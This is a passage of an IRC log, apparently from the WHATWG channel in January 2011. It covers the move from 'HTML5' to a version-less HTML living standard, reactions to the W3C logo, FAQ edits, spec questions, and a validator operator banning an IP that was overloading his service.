  387. # [03:53] <jacobolus> so no illustrations and not even any dead trees?
  388. # [03:53] <nimbupani> whats not to luv
  389. # [03:56] * bga_ is now known as bga_|away
  390. # [03:56] * bga_|away is now known as bga_
  391. # [03:57] <mpilgrim> no, i expect you to buy a bag of bits with no illustrations
  392. # [04:01] * Quits: cying (~cying@173-228-29-224.dsl.static.sonic.net) (Quit: cying)
  393. # [04:02] <jacobolus> mpilgrim: out of curiosity, did someone force you to ditch the pretty illustrations?
  394. # [04:02] <jacobolus> and if so, can we call to complain? :)
  395. # [04:02] * Quits: agektmr (~Adium@u653074.xgsnu5.imtp.tachikawa.mopera.net) (Quit: Leaving.)
  396. # [04:03] <jacobolus> (this whole logo brouhaha has me in the complaining mood)
  397. # [04:03] <mpilgrim> talk to my o'reilly editor
  398. # [04:03] <mpilgrim> they wanted to maintain their branding
  399. # [04:05] <mpilgrim> i agreed as long as i could hand them HTML files and never have to touch Microsoft Word
  400. # [04:05] <jacobolus> haha. fair enough
  401. # [04:05] <mpilgrim> true story
  402. # [04:05] * Joins: cying (~cying@173-13-176-101-sfba.hfc.comcastbusiness.net)
  403. # [04:06] <jacobolus> yeah, avoiding word is a pretty good trade for just about any other terms they might want to throw at it
  404. # [04:07] * bga_ is now known as bga_|away
  405. # [04:08] * Quits: cying (~cying@173-13-176-101-sfba.hfc.comcastbusiness.net) (Client Quit)
  406. # [04:09] * Quits: bckenny (~bckenny@nat/google/x-unjzeibfdmttsgwn) (Remote host closed the connection)
  407. # [04:14] * Joins: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
  408. # [04:16] * Quits: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
  409. # [04:18] * Quits: oliverkierepka (~chatzilla@dsdf-4db52ac3.pool.mediaWays.net) (Remote host closed the connection)
  410. # [04:20] * bga_|away is now known as bga_
  411. # [04:22] * Quits: scherkus (~scherkus@74.125.59.76) (Ping timeout: 272 seconds)
  412. # [04:22] * Joins: scherkus (~scherkus@74.125.59.68)
  413. # [04:29] * Joins: micheil (~micheil@114.72.255.224)
  414. # [04:29] * Quits: Amorphous (jan@unaffiliated/amorphous) (Ping timeout: 272 seconds)
  415. # [04:31] * Joins: Serenalis (~Adium@c-68-36-137-243.hsd1.nj.comcast.net)
  416. # [04:31] * Quits: paul_irish (~paul_iris@67.218.109.13) (Remote host closed the connection)
  417. # [04:31] * Quits: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f) (Quit: Ex-Chat)
  418. # [04:34] <Serenalis> I just read the HTML is the new HTML5 blog post…and earlier today I saw the W3C announcement that they're launching a whole branding campaign around the term "HTML5." Doesn't this seem a bit inconsistent and divisive?
  419. # [04:35] <Hixie> the "HTML5" in the W3C logo effort and the WHATWG HTML spec aren't the same thing, so no
  420. # [04:35] * Quits: Jacky (40b44962@gateway/web/freenode/ip.64.180.73.98) (Ping timeout: 265 seconds)
  421. # [04:35] <Hixie> in fact that's one of the reasons we changed it, to avoid confusion
  422. # [04:37] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Quit: realityking)
  423. # [04:37] <Serenalis> There's already a great deal of confusion in the media and even among erudite web developers about what constitutes HTML5, and on that basis I agree with WHATWG's decision.
  424. # [04:38] <Hixie> cool
  425. # [04:38] <Serenalis> What concerns me is that just as web standards have finally reached a level of universal appeal and compliance, the two bodies that define them have gone in diametrically opposite directions with terminology (and to some extent, standards defining methodology).
  426. # [04:39] <Hixie> to be fair, the w3c hasn't changed direction
  427. # [04:39] <Hixie> and the whatwg changed direction last year (actually in late 2009), we just didn't change the name until today
  428. # [04:39] <Serenalis> Yes, true.
  429. # [04:40] <Hixie> in practice i don't think the directions are really incompatible -- we're still working together on the specs for example
  430. # [04:40] <wirepair> is there a page/blog/place one can get a definitive answer to all this inconsistency? wouldn't that help clear some things up?
  431. # [04:40] <Hixie> though i do think the w3c should join us in the version-less world :-)
  432. # [04:40] <Hixie> wirepair: i'm trying to update the faq, what question should i add? not sure what's unclear :-)
  433. # [04:40] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
  434. # [04:41] * Joins: fullroundaction (40968e8d@gateway/web/freenode/ip.64.150.142.141)
  435. # [04:41] <wirepair> how about... "The media seems really unclear on what HTML5 is and how it relates to newer web technology, what specificially designs HTML5 and how is it different than the whatwg HTML branding?"
  436. # [04:41] <wirepair> something like that ;)
  437. # [04:42] <bga_> s/version less/revision bases/ i guess
  438. # [04:42] <MikeSmith> Hixie: are e.g., dropzone="f:text/plain f:text/html" and dropzone="s:text/plain f:text/plain" meant to valid?
  439. # [04:42] <wirepair> err designates
  440. # [04:42] <Hixie> wirepair: let me update the current qs in the faq and then i'll ping you again and see if it answers the question
  441. # [04:42] <wirepair> oh i'm not saying i'm confused
  442. # [04:42] <wirepair> i'm saying the journalists are
  443. # [04:43] <wirepair> :)
  444. # [04:43] <wirepair> i think it's pretty simple tbh ehe
  445. # [04:43] * Joins: Amorphous (jan@unaffiliated/amorphous)
  446. # [04:43] <Hixie> wirepair: i'll ping you and you can see if you think they'll be less confused :-)
  447. # [04:43] <wirepair> sure :)
  448. # [04:44] <Hixie> MikeSmith: yes
  449. # [04:44] <MikeSmith> ok
  450. # [04:44] <MikeSmith> thanks
  451. # [04:44] <Hixie> MikeSmith: first one accepts text files and html files dragged in, second one accepts text selections dragged in and text files dragged in
  452. # [04:44] <fullroundaction> hey wait this isn't #nerdshitnoonecares about
  453. # [04:45] * Quits: fullroundaction (40968e8d@gateway/web/freenode/ip.64.150.142.141) (Client Quit)
  454. # [04:45] <Hixie> it isn't...? methinks he was lost.
  455. # [04:45] <MikeSmith> Hixie: I see -- thanks
  456. # [04:45] <MikeSmith> Hixie: no, clear to me know
  457. # [04:45] <MikeSmith> spec is clear
  458. # [04:46] * Joins: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e)
  459. # [04:46] <MikeSmith> Hixie: just trying to write the checker code for it
  460. # [04:48] * MikeSmith now realizes Hixie was replying to dude
  461. # [04:48] <Hixie> heh
  462. # [04:48] * Quits: benschwarz (~ben@59.167.185.148) (Quit: benschwarz)
  463. # [04:50] * Joins: benschwarz (~benschwar@59.167.185.148)
  464. # [04:50] <Serenalis> Are the WHATWG version of the HTML Living Standard and the W3C version of HTML5 always going to be consistent at least for the parts they have in common?
  465. # [04:51] <Serenalis> I understand that they're drawn from the same source document, but I'm also concerned that one or the other version may end up substantially different from the other due to this change in direction, and I wonder what this will mean for implementations in practice.
  466. # [04:51] <benschwarz> MikeSmith: :)
  467. # [04:53] * bga_ is now known as bga_|away
  468. # [04:53] <MikeSmith> benschwarz: ♨
  469. # [04:56] * Quits: jamesr_ (~jamesr@nat/google/x-okmzvfhoprxnaeoc) (Quit: jamesr_)
  470. # [04:58] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
  471. # [04:59] * Quits: dave_levin (~dave_levi@nat/google/x-chsoidfomvymgxev) (Quit: dave_levin)
  472. # [04:59] * Quits: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com) (Ping timeout: 265 seconds)
  473. # [05:00] <Hixie> Serenalis: yes, they'll always be consistent (unless one goes way off the rails of course, but then that one will just be ignored)
  474. # [05:01] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Client Quit)
  475. # [05:03] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
  476. # [05:04] <Serenalis> Thanks for clearing that up, though I think that might be a useful FAQ entry for people who are very concerned on a practical level about writing standards-compliant code and especially convincing skeptical project managers about why that's both important and doable. :P
  477. # [05:10] * Quits: scherkus (~scherkus@74.125.59.68) (Read error: Operation timed out)
  478. # [05:10] * Joins: scherkus (~scherkus@74.125.59.76)
  479. # [05:12] * bga_|away is now known as bga_
  480. # [05:14] <Serenalis> Hixie, with HTML as a living standard, is the intent that the spec will drive implementations or that implementations will shape the spec?
  481. # [05:14] <Hixie> both
  482. # [05:14] <Hixie> in practice it's always been both for successful specs
  483. # [05:16] <nimbupani> http://omghtml5.com/post/2837210354/the-most-standards-compliant-html5-logo
  484. # [05:18] <Serenalis> Hixie: I agree. One of the biggest criticisms of W3C specs historically has been that they have been disconnected with reality. This Living Standard approach could fix that. Do you think there's a chance W3C will follow suit?
  485. # [05:20] <Serenalis> Also, by the way, sorry for barging in and demanding answers with no preamble! Thanks very much for taking the time to talk, I really do appreciate it.
  486. # [05:22] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
  487. # [05:24] * Joins: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f)
  488. # [05:28] <jacobolus> Serenalis: people who are concerned about writing compliant code are going to write code based on what is implemented in browsers, hopefully; making that be the same as the spec is (so far as I can tell) priority #1 for at least the WHATWG version
  489. # [05:28] <Hixie> Serenalis: happy to answer questions, sorry for the lag in my answers :-) (i'm editing the faq)
  490. # [05:28] <jacobolus> also, the people in here seem pretty friendly towards those of us who barge in and talk from time to time
  491. # [05:29] <Hixie> Serenalis: i don't know if the w3c will follow, but i really hope so
  492. # [05:29] <jacobolus> so don't worry about it, unless someone says otherwise
  493. # [05:29] <Hixie> Serenalis: it is unfortunately one of the most ingrained things at the w3c, so it might take a while
  494. # [05:29] * Joins: _bga (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
  495. # [05:31] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Ping timeout: 255 seconds)
  496. # [05:32] <Hixie> is there a better definition for namespaces than http://www.w3schools.com/xml/xml_namespaces.asp ?
  497. # [05:33] * Joins: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net)
  498. # [05:33] <nimbupani> :|
  499. # [05:34] <Serenalis> jacobolus: I agree completely. Thanks. :)
  500. # [05:35] <nimbupani> https://developer.mozilla.org/en/SVG:Namespaces_Crash_Course needs some copyediting
  501. # [05:37] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 255 seconds)
  502. # [05:38] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
  503. # [05:42] <Serenalis> Is the "What you can do" WHATWG wiki entry still current? I may be interested in getting involved once I get up to speed on the latest.
  504. # [05:42] <Serenalis> It'd be nice to contribute meaningfully rather than just asking questions.
  505. # [05:43] <Hixie> it's probably current
  506. # [05:44] <Hixie> haven't checked recently
  507. # [05:44] <Hixie> will do in a minute
  508. # [05:44] <Hixie> still editing the faq
  509. # [05:44] * Joins: cutepy (~quassel@110.225.111.33)
  510. # [05:44] <othermaciej> Hixie: looks like s/HTML5/HTML/ has been rather well received after all
  511. # [05:45] <Hixie> yeah, i'm shocked at how well it went
  512. # [05:45] <Hixie> honestly didn't expect it to be this good
  513. # [05:45] <cutepy> hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents.
  514. # [05:45] <cutepy> does anyone have any idea of how to program this
  515. # [05:45] <Hixie> i figured it'd be 50/50 at best and that people would come over in due course
  516. # [05:47] * _bga is now known as bga_|away
  517. # [05:50] <othermaciej> a handfull of people expressed dislike, in the comments I saw, but not very strongly even
  518. # [05:50] <Serenalis> once I understood the intent, my reaction was kind of like "thank god"
  519. # [05:50] <Serenalis> "someone actually is connected with reality finally"
  520. # [05:51] <Serenalis> (as an outsider :))
  521. # [05:51] <Serenalis> I understand WHATWG has been working this way for a while, but to go public with an announcement was great
  522. # [05:54] * Quits: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f) (Quit: Ex-Chat)
  523. # [05:54] * bga_|away is now known as bga_
  524. # [05:55] * Quits: karlcow (~karl@nerval.la-grange.net) (Quit: Freedom - to walk free and own no superior.)
  525. # [05:55] * Joins: karlcow (~karl@nerval.la-grange.net)
  526. # [05:56] * Joins: evilandlazy (47e78d4c@gateway/web/freenode/ip.71.231.141.76)
  527. # [05:58] <evilandlazy> My daughter suggested a new logo for the living standard. Hope you like it: http://www.zazzle.com/html_no_5_logo_shirt-235649046014311218
  528. # [06:00] <Serenalis> haha nice
  529. # [06:00] <Serenalis> I'm going to go ahead and say for the record that I rather strongly dislike the new w3c logo.
  530. # [06:00] * Joins: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f)
  531. # [06:00] <bga_> roof of house
  532. # [06:01] <bga_> top view
  533. # [06:02] * Quits: micheil (~micheil@114.72.255.224) (Ping timeout: 276 seconds)
  534. # [06:02] * Joins: micheil (~micheil@114.72.255.224)
  535. # [06:02] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
  536. # [06:03] * bga_ is now known as bga_|away
  537. # [06:03] * bga_|away is now known as bga_
  538. # [06:05] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Read error: Connection reset by peer)
  539. # [06:05] <Hixie> evilandlazy: nice
  540. # [06:05] * Joins: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
  541. # [06:05] * Joins: 92AAB6VCH (~davidb@174.91.42.156)
  542. # [06:06] * Quits: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: Leaving.)
  543. # [06:08] <othermaciej> I miss the green stripe
  544. # [06:09] * Quits: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
  545. # [06:10] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
  546. # [06:10] * Quits: evilandlazy (47e78d4c@gateway/web/freenode/ip.71.231.141.76) (Quit: Page closed)
  547. # [06:10] <Duke___> Hixie: in home http://www.whatwg.org/ is correct HTML5 in section Specs?
  548. # [06:11] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Quit: inkbase)
  549. # [06:12] * Quits: daedb_ (~daed@78-72-108-100-no178.tbcn.telia.com) (Read error: Connection reset by peer)
  550. # [06:13] * Joins: daedb (~daed@78-72-108-100-no178.tbcn.telia.com)
  551. # [06:13] <othermaciej> whoah, someone might have just proved that P=NP
  552. # [06:14] <othermaciej> hide your kids, hide your wife, hide your public-key cryptosystems
  553. # [06:14] <othermaciej> http://romvf.wordpress.com/2011/01/19/open-letter/
  554. # [06:14] * Quits: cutepy (~quassel@110.225.111.33) (Quit: http://quassel-irc.org - Chat comfortably. Anywhere.)
  555. # [06:19] <Serenalis> Hixie: it was good to meet you; thanks for answering my questions. :) There may be more later! Good night all.
  556. # [06:20] * Parts: Serenalis (~Adium@c-68-36-137-243.hsd1.nj.comcast.net)
  557. # [06:24] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Quit: We love you, Dark Continent! Good night!)
  558. # [06:32] * Joins: apucacao (~apucacao@S010600226b6dbc54.vc.shawcable.net)
  559. # [06:43] * Quits: Duke___ (~duke@187.57.241.156) (Remote host closed the connection)
  560. # [06:45] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
  561. # [06:46] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
  562. # [06:57] * Quits: 92AAB6VCH (~davidb@174.91.42.156) (Quit: 92AAB6VCH)
  563. # [06:58] * Quits: jwalden (~waldo@nat/mozilla/x-cyyfraijbwqjnlyj) (Quit: later)
  564. # [07:01] * Quits: nattokirai (~nattokira@rtr.mozilla.or.jp) (Quit: nattokirai)
  565. # [07:01] * Joins: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net)
  566. # [07:01] * Joins: nattokirai (~nattokira@rtr.mozilla.or.jp)
  567. # [07:06] * Quits: sephr (~Eli@c-98-235-63-240.hsd1.pa.comcast.net) (Ping timeout: 240 seconds)
  568. # [07:06] <MikeSmith> ´/me wonders if Java has a simple way to tokenize a string and check if it has any duplicate tokens
  569. # [07:07] * Joins: micheil_mbp (~micheil@114.72.236.157)
  570. # [07:08] * Quits: micheil (~micheil@114.72.255.224) (Ping timeout: 240 seconds)
  571. # [07:08] * micheil_mbp is now known as micheil
  572. # [07:13] * Joins: mpt (~mpt@canonical/mpt)
  573. # [07:13] * Quits: mpt (~mpt@canonical/mpt) (Client Quit)
  574. # [07:21] * Quits: meledin (~vladi@f2.c7.5d45.static.theplanet.com) (Ping timeout: 240 seconds)
  575. # [07:22] * Joins: meledin (~vladi@f2.c7.5d45.static.theplanet.com)
  576. # [07:25] * Quits: Bass2 (Bass10@c-76-113-194-7.hsd1.mn.comcast.net) (Quit: Leaving)
  577. # [07:29] * Quits: espadrine (~espadrine@acces1296.res.insa-lyon.fr) (Ping timeout: 240 seconds)
  578. # [07:36] * Joins: tyoshino (~tyoshino@220.109.219.244)
  579. # [07:38] * Quits: davidwalsh (~davidwals@75-135-74-55.dhcp.mdsn.wi.charter.com) (Quit: davidwalsh)
  580. # [07:47] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying)
  581. # [07:53] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Quit: boaz)
  582. # [07:56] * Joins: maikmerten (~merten@ls5dhcp197.cs.uni-dortmund.de)
  583. # [07:57] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Quit: chriseppstein)
  584. # [07:58] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
  585. # [07:59] * fishd_ is now known as fishd
  586. # [07:59] * Joins: anttio (~anttio@huittinen.of.frantic.com)
  587. # [08:07] * Quits: apucacao (~apucacao@S010600226b6dbc54.vc.shawcable.net) (Quit: apucacao)
  588. # [08:13] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
  589. # [08:14] <hsivonen> Hixie: relevant to canvas a11y: https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/
  590. # [08:14] <Hixie> yeah i heard about that
  591. # [08:14] <Hixie> good news
  592. # [08:16] * Joins: MrOpposite (~mropposit@unaffiliated/mropposite)
  593. # [08:17] <Hixie> http://wiki.whatwg.org/wiki/FAQ is updated
  594. # [08:17] <Hixie> wirepair: ^
  595. # [08:17] <Hixie> bbl
  596. # [08:20] * Joins: rimantas (~rimliu@93.93.57.193)
  597. # [08:22] * Quits: frenzz (~frensys@85.142.208.25)
  598. # [08:23] * Quits: crash\ (bouncer@lubyte.de) (Ping timeout: 260 seconds)
  599. # [08:24] * Joins: crash\ (bouncer@lubyte.de)
  600. # [08:28] * Quits: MikeSmith (~MikeSmith@EM114-48-79-91.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
  601. # [08:33] * Joins: benschwarz (~benschwar@59.167.185.148)
  602. # [08:33] * Joins: MikeSmith (~MikeSmith@EM114-48-81-141.pool.e-mobile.ne.jp)
  603. # [08:36] * Joins: matjas (~matjas@91.182.211.157)
  604. # [08:39] * Quits: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net) (Remote host closed the connection)
  605. # [08:45] * Joins: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl)
  606. # [08:46] * Joins: tndH (~Rob@cpc15-seac19-2-0-cust232.7-2.cable.virginmedia.com)
  607. # [08:55] <MikeSmith> hsivonen: bugzilla.validator.nu appears to be down
  608. # [08:55] * Joins: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net)
  609. # [08:56] <hsivonen> MikeSmith: yeah. I go to sleep for a night and my Web sites drop off the Web :-(
  610. # [08:56] <MikeSmith> heh
  611. # [08:57] <MikeSmith> teenagers
  612. # [08:57] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
  613. # [08:57] * Joins: jamesr_ (~jamesr@173-164-251-190-SFBA.hfc.comcastbusiness.net)
  614. # [08:58] <hsivonen> MikeSmith: Someone was using the generic instance of Validator.nu too much
  615. # [08:59] <hsivonen> I need to figure out what to do about that
  616. # [08:59] <hsivonen> MikeSmith: anyway, bugzilla.validator.nu and hsivonen.iki.fi are now back
  617. # [09:00] <MikeSmith> cool, thanks
  618. # [09:02] <MikeSmith> hsivonen: don't currently have any rate limiting set up with iptables or whatever?
  619. # [09:02] <hsivonen> MikeSmith: no. I suck at this sysadmin stuff
  620. # [09:03] <MikeSmith> me too :)
  621. # [09:03] * Quits: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net) (Quit: mdelaney)
  622. # [09:03] <MikeSmith> something I'm glad I don't have to deal with
  623. # [09:05] <hsivonen> OK. I think I found the guilty IP address...
  624. # [09:06] <MikeSmith> hope it's not mine :)
  625. # [09:06] * MikeSmith is reading http://brendaneich.com/2011/01/harmony-of-my-dreams/
  626. # [09:07] * Joins: mhausenblas (~mhausenbl@wlan-nat.fwgal01.deri.ie)
  627. # [09:08] * Joins: mhausenblas_ (~mhausenbl@wg1-nat.fwgal01.deri.ie)
  628. # [09:10] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Remote host closed the connection)
  629. # [09:10] <hsivonen> ok. the validator is now back, too, with the resource-over-using IP address banned
  630. # [09:11] * Joins: pesla (~pesla@188.202.125.121)
  631. # [09:11] * Quits: pesla (~pesla@188.202.125.121) (Client Quit)
  632. # [09:12] <hsivonen> whoa! looks like something with a Yandex IP and a Yandex bot UA is disrespecting robots.txt!
  633. # [09:12] <hsivonen> (but that's not the cause of the DoS problem)
  634. # [09:12] * Quits: mhausenblas (~mhausenbl@wlan-nat.fwgal01.deri.ie) (Ping timeout: 250 seconds)
  635. # [09:12] * mhausenblas_ is now known as mhausenblas
  636. # [09:15] <othermaciej> I wonder why no one has decided that robots.txt must be replaced by some sort of robots.xml
  637. # [09:19] <hsivonen> othermaciej: I believe the has been a draft for XML-based discovery on robots.txt-like things, though
  638. # [09:19] <hsivonen> (I sent email to Yandex)
  639. # [09:20] * Joins: pesla (~pesla@188.202.125.121)
  640. # [09:20] <hsivonen> MikeSmith: it seems to me iptables is the wrong tool here and I should take the time to implement some kind of throttling in Validator.nu itself
  641. # [09:21] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying)
  642. # [09:21] <hsivonen> to dynamically detect IP numbers that make unreasonably frequent request to the Web service APIs
  643. # [09:22] * Quits: Sirisian (~Sirisian@resnet226-081.resnet.wmich.edu) (Ping timeout: 255 seconds)
  644. # [09:22] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
  645. # [09:24] <MikeSmith> hsivonen: that'd be certainly be nice
  646. # [09:24] <MikeSmith> benefit others who run their own instances
  647. # [09:24] <MikeSmith> as a plus
  648. # [09:29] <wirepair> Hixie: looks good :)
  649. # [09:29] * Joins: zcorpan (~zcorpan@c-8d9ae355.410-6-64736c14.cust.bredbandsbolaget.se)
  650. # [09:29] <zcorpan> i like the full inline references in developers.whatwg.org
  651. # [09:31] <hsivonen> If the person who has written software in Ruby that hammers validator.nu with bursts of WWW::Mechanize traffic to the JSON-based Web service interface is reading the logs, please make your program sleep for a bit between validations as a courtesy to other users
  652. # [09:31] <zcorpan> although it could leave out the fluff and just have the link text in the references
  653. # [09:34] * Quits: pesla (~pesla@188.202.125.121) (Ping timeout: 272 seconds)
  654. # [09:34] <zcorpan> benschwarz: i'd prefer a bit darker gray for the examples
  655. # [09:35] <benschwarz> zcorpan: So would I :)
  656. # [09:35] <benschwarz> Its not quite right, I thought the examples would barely be used
  657. # [09:35] <benschwarz> I later discovered that they're *everywhere*
  658. # [09:35] <benschwarz> Its on my list, but perhaps an issue logged would stop people from telling me its wrong :)
  659. # [09:35] <benschwarz> Did you check the issues before asking?
  660. # [09:36] <zcorpan> nope :)
  661. # [09:36] <benschwarz> hmm. okay :)
  662. # [09:40] * Quits: nattokirai (~nattokira@rtr.mozilla.or.jp) (Quit: nattokirai)
  663. # [09:40] * Quits: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net) (Quit: sethladd)
  664. # [09:46] <zcorpan> Hixie: https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 applies to the normal multipage versions too
  665. # [09:47] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
  666. # [09:49] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
  667. # [09:50] * Quits: anttio (~anttio@huittinen.of.frantic.com) (Ping timeout: 276 seconds)
  668. # [09:50] * Quits: anttio_ (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
  669. # [09:50] * Joins: anttio (~anttio@lapinjarvi.of.frantic.com)
  670. # [09:55] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
  671. # [09:55] * Joins: pesla (~pesla@188.202.125.121)
  672. # [10:00] * Quits: pesla (~pesla@188.202.125.121) (Remote host closed the connection)
  673. # [10:01] * Joins: pesla (~pesla@188.202.125.121)
  674. # [10:05] * Joins: ROBOd (~robod@109.96.237.140)
  675. # [10:06] * Joins: thiessenp (~thiessenp@changeme.ebuddy.com)
  676. # [10:07] <wirepair> hsivonen: are you sure someones not just abusing your validator as a proxy?
  677. # [10:07] <wirepair> i'm pretty sure i've said in this channel that the validators could easily be abused
  678. # [10:07] <wirepair> heh
  679. # [10:08] <thiessenp> Would anyone know what browser versions fully support HTML5 markup?
  680. # [10:16] * Joins: annevk (~annevk@5355737B.cm-6-6b.dynamic.ziggo.nl)
  681. # [10:18] * Joins: mokush (~quassel@188.24.42.111)
  682. # [10:19] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
  683. # [10:19] * Quits: anttio (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
  684. # [10:19] * anttio_ is now known as anttio
  685. # [10:20] <annevk> http://my.opera.com/c69/blog/html5-logo-is-ok -- haha
  686. # [10:20] * Quits: anttio (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
  687. # [10:20] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
  688. # [10:26] <annevk> I approved a bunch more comments
  689. # [10:28] <annevk> even got a comment from Jukka K. Korpela
  690. # [10:29] <annevk> He thinks we are not making sense
  691. # [10:32] <annevk> We gained over 100 followers on twitter yesterday
  692. # [10:32] <annevk> Lets change names every week!
  693. # [10:35] <zcorpan> next up: DHTML Standard
  694. # [10:37] * Quits: Rik` (~Rik`@pha75-2-81-57-187-57.fbx.proxad.net) (Remote host closed the connection)
  695. # [10:38] <annevk> http://plasmasturm.org/log/trolliquette/
  696. # [10:38] <annevk> :)
  697. # [10:38] * Quits: anttio_ (~anttio@lapinjarvi.of.frantic.com) (Remote host closed the connection)
  698. # [10:38] * Joins: anttio (~anttio@huittinen.of.frantic.com)
  699. # [10:39] * annevk approves comment by foolip
  700. # [10:40] <annevk> I believe this is only for the first time people leave a comment
  701. # [10:40] <annevk> Maybe we could turn it off... I have only seen a couple bad comments and most got caught by the spam filter already.
  702. # [10:40] * Joins: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi)
  703. # [10:41] <foolip> hehe, at first I thought you meant "approves" as in "likes"
  704. # [10:42] <annevk> heh
  705. # [10:42] <hsivonen> do we have a canned answer for explaining why hasFeature and similar things by another name don't work?
  706. # [10:43] <zcorpan> foolip: he just concluded that you weren't a spammer, but still didn't like your comment at all
  707. # [10:44] * Joins: david_carlisle (~davidc@62.231.145.254)
  708. # [10:45] * Joins: arminbw (~armin@dhcp090.iguw.tuwien.ac.at)
  709. # [10:45] <hsivonen> wirepair: pretty sure. the script was POSTing the content it was validating instead of GETting it from elsewhere
  710. # [10:47] <annevk> http://omghtml5.com/ haha
  711. # [10:47] <hsivonen> thiessenp: no such browser
  712. # [10:48] <thiessenp> hsivonen: booo (thanks :)
  713. # [10:53] * Joins: benschwarz (~benschwar@59.167.185.148)
  714. # [10:53] * Joins: zum (~jsykari@xdsl-83-150-88-4.nebulazone.fi)
  715. # [10:53] <annevk> http://twitter.com/pornelski/status/27871749907423233 has a great theory: "WHATWG moves beyond "HTML5". That's probably just to keep HTML5-committed @IE a version behind again ;)"
  716. # [10:54] <zcorpan> "The hunt for the so-called “HTML5 team” is now underway, more information shortly. A deck of cards will be created for these villains as soon as we know who they are." http://omghtml5.com/post/2062326530/breaking-news-html5-breaks-web-on-purpose
  717. # [11:03] * Joins: Rik` (~Rik`@mozilla-paris-222-194.cnt.nerim.net)
  718. # [11:08] * Joins: davidhund_ (~davidhund@78-27-27-74.dsl.alice.nl)
  719. # [11:08] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Read error: Connection reset by peer)
  720. # [11:08] * davidhund_ is now known as davidhund
  721. # [11:09] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
  722. # [11:13] * Joins: workmad3 (~workmad3@cspool123.cs.man.ac.uk)
  723. # [11:17] * Joins: pesla_ (~pesla@188.202.125.121)
  724. # [11:17] * Quits: pesla (~pesla@188.202.125.121) (Read error: Operation timed out)
  725. # [11:18] * Quits: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no) (Quit: This computer has gone to sleep)
  726. # [11:18] * Quits: pesla_ (~pesla@188.202.125.121) (Remote host closed the connection)
  727. # [11:18] * Joins: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl)
  728. # [11:19] * Joins: pesla (~pesla@188.202.125.121)
  729. # [11:20] * Joins: erlehmann (~erlehmann@p5DDBBE41.dip.t-dialin.net)
  730. # [11:26] * Joins: jeremyselier (~Jeremy@pro75-4-82-238-200-10.fbx.proxad.net)
  731. # [11:29] * Joins: svl (~me@ip565744a7.direct-adsl.nl)
  732. # [11:31] <annevk> I installed a caching plugin by the way
